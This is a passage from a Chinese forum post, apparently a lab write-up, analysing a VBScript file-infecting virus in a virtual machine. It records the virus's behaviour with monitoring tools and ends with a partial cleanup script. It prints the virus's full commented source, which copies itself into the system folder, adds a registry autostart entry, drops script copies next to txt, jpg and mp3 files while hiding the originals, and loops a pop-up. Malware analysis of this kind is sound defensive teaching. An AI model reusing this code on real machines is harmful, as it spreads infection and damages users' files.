首页| 论坛| 搜索| 消息
主题:VBScript脚本病毒分析与清除
z3960发表于 2023-04-10 19:29
多次重复弹窗,短时间结束不掉,只能不去管它3test1文件夹下新增两个vbs文件,且两个文件双击都会弹出与病毒文件相同的弹窗。而原本的文件处于隐藏状态。4test2与test作用效果相同,值得注意的是原本有内容的jpg文件在有新副本时并没有带上原内容。说明其仅仅是伪装成别的文件。5由于弹窗过多,尝试重启电脑,然后就看到了高血压的一幕,难道时已经攻陷了系统盘?6前去查看倒是没有发现沦陷,仅仅是新增了一个vbs文件,但是桌面上却永远留下了一个弹窗。
(4) 恢复虚拟机快照“病毒分析实验室”;
此时之前的快照便能大显身手

监控病毒行为

(5) 使用监控软件Filemon,Regmon,Process Explorer,观察脚本文件svir.vbs的运行结果,记录svir.vbs运行后,对文件、注册表和进程的操作;
Filemon

过滤设为,注意不要把system过滤了 复制代码 隐藏代码ctfmon.exe; TPAutoconnect.exe; Lsass.exe; FileMon.exe; Regmon.exe; tcpview.exe; procexp.exe; vmtoolsd.exe;
可以检测到,病毒分别在系统盘和子文件夹内写入,并且对此文件夹内原有的文件设置了属性。

Regmon

在此发现,脚本发出了大量Create和setValue请求。

Process Explorer

程序运行之后发现新增了一个进程。把这个进程关闭之后,弹窗就消失了。


IceWord

此处监测到启动组部分新增了一个开机启动项,名称为MSKernel32,路径正是病毒复制到系统盘的路径。

查看病毒分析

(6) 查看svir.vbs的病毒源码分析,指出病毒如何用代码实现对文件、注册表和进程的操作。
病毒源码
复制代码 隐藏代码Rem barok -loveletter(vbe) Rem by:spyder/ispyder@mail.com/@GRAMMERSoftGroup/Manila,Philippines'http://msdn.microsoft.com/en-us/library/d6dw7aeh(VS.85).aspx'On Error Resume Next' 发生错误时,程序执行下一代码Dim fso,dirsystem,file,vbscopy' 定义变量Set fso = CreateObject("Scripting.FileSystemObject")'创建文件对象FileSystemObject位于库 ScriptingSet file = fso.OpenTextFile(WScript.ScriptFullname,1)'以只读方式打开当前脚本,WScript.ScriptFullname返回当前运行脚本的完整路径。vbscopy = file.ReadAll'将病毒全部代码赋给vbscopy' 以文本形式读取整个文件,并赋给VBscopymain()Sub main()On Error Resume NextDim wscr,cSet wscr = CreateObject("WScript.Shell")' 创建一个WScript.Shell对象,用来修改注册表Set dirsystem = fso.GetSpecialFolder(1)' 1:'获取System文件夹路径,0:windows文件夹,2:temp文件夹Set c = fso.GetFile(WScript.ScriptFullName)'通过正在执行脚本路径获取病毒文件c.Copy(dirsystem&"MSKernel32.vbs")'' 备份病毒到系统目录中REM开始调用几个功能模块regruns()' 修改注册表,创建自启动项folderlist("D:ExpNICVirusADToolsScriptVirVBA")' 感染指定目录下的文件runmsg()'显示病毒发作End SubSub regruns()'在注册表中创建自启动项On Error Resume Nextregcreate '调用自定义函数regcreate"HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunMSKernel32",dirsystem&"MSKernel32.vbs" '两个参数End SubSub regcreate(regkey,regvalue)'修改注册表(创建键值)On Error Resume NextSet regedit = CreateObject("WScript.Shell")regedit.RegWrite regkey,regvalueEnd SubSub infectfiles(folderspec)'执行传染文件操作On Error Resume NextDim f,f1,fc,ext,s,mSet f = fso.GetFolder(folderspec) '获得文件夹folderspec的句柄Set fc = f.Files '令fc为文件夹中所有文件For Each f1 in fc '遍历folderspec中所有文件ext = fso.GetExtensionName(f1.path)'取文件后缀ext = LCase(ext)'将后缀转换为小写If (ext="txt") or (ext="jpg") or (ext="mp3") Then'此3种文件被感染Set m = fso.CreateTextFile(f1.path&".vbs")'创建以被感染文件名命名的病毒副本m.write vbscopy '病毒代码写入被感染文件m.close '关闭句柄If (f1.attributes = 0 or f1.attributes = 32 or f1.attributes = 2080) Then'隐藏原文件f1.attributes = 2REM 属性值为0是普通文件,32是上次备份后已改变的文件,2为隐藏文件End IfEnd IfNextEnd SubSub folderlist(folderspec)'遍历文件夹On Error Resume NextDim f,f1,sfSet f = fso.GetFolder(folderspec)Set sf = f.SubFoldersFor each f1 in sfinfectfiles(f1.path)'感染目录中的文件folderlist(f1.path)'递归,继续搜索子目录NextEnd SubSub runmsgOn Error Resume NextDim iWhile i = 0'死循环,一直显示“病毒发作” MsgBox ("病毒发作")WendEnd Sub
根据源代码我们可以发现病毒主要有四个功能备份病毒到System目录下在注册表中创建自启动项遍历子文件夹,创建txt、jpg、mp3三种类型文件同名的vbs文件,并隐藏旧文件始终显示“病毒发作”弹窗
病毒清除
针对病毒行为,编写清除病毒的svir.vbs文件。从文件、进程、注册表等方面考虑如何清除病毒及病毒对操作系统的影响。
主程序
复制代码 隐藏代码'On Error Resume NextDim fso,dirsystem,file,vbscopy,folderSet fso = CreateObject("Scripting.FileSystemObject")'创建文件对象Set file = fso.OpenTextFile(WScript.ScriptFullname,1)Set folder = fso.GetFile(WScript.ScriptFullname).ParentFoldermain()Sub main()'开始调用几个功能模块regdele()'删除注册表msgbox(folder.path)folderlist(folder.path) ' 删除文件夹内的一众病毒Set dirsystem = fso.GetSpecialFolder(1)'获取System目录fso.DeleteFile(dirsystem&"MSKernel32.vbs")'删除在System目录备份的病毒MsgBox("game over") '显示病毒被清除stoprocess '结束所有script进程End Sub
删除自启动项函数
复制代码 隐藏代码Sub regdele()'在注册表中删除自启动项'On Error Resume NextSet regedit = CreateObject("WScript.Shell")regkey = "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunMSKernel32"regedit.RegDelete regkeyEnd Sub
删除子文件夹病毒函数
复制代码 隐藏代码'指定文件夹Sub deinfectfiles(folderspec)'执行删除病毒文件Set f = fso.GetFolder(folderspec)For Each item in f.Files'指定删除的文件类型If (item.attributes = 2) Then '不再隐藏item.attributes = 0End Ifext = LCase(fso.GetExtensionName(item.path)) '小写的后缀If ext = "vbs" Then'MsgBox item.names = s & item.Name & VBNewLinefso.DeleteFile(item.path)End IfNextWscript.Echo s & "Has Been Shutdown" & VBNewLineEnd SubSub folderlist(folderspec)'遍历文件夹On Error Resume NextDim f,f1,sfSet f = fso.GetFolder(folderspec)Set sf = f.SubFol
下一页上一页  (2/4)
回帖(2):
2 # 任逍遥
04-11 18:55
不错,了解了
1 # 任逍遥
04-11 18:55
来看一下

全部回帖(2)»
最新回帖
收藏本帖
发新帖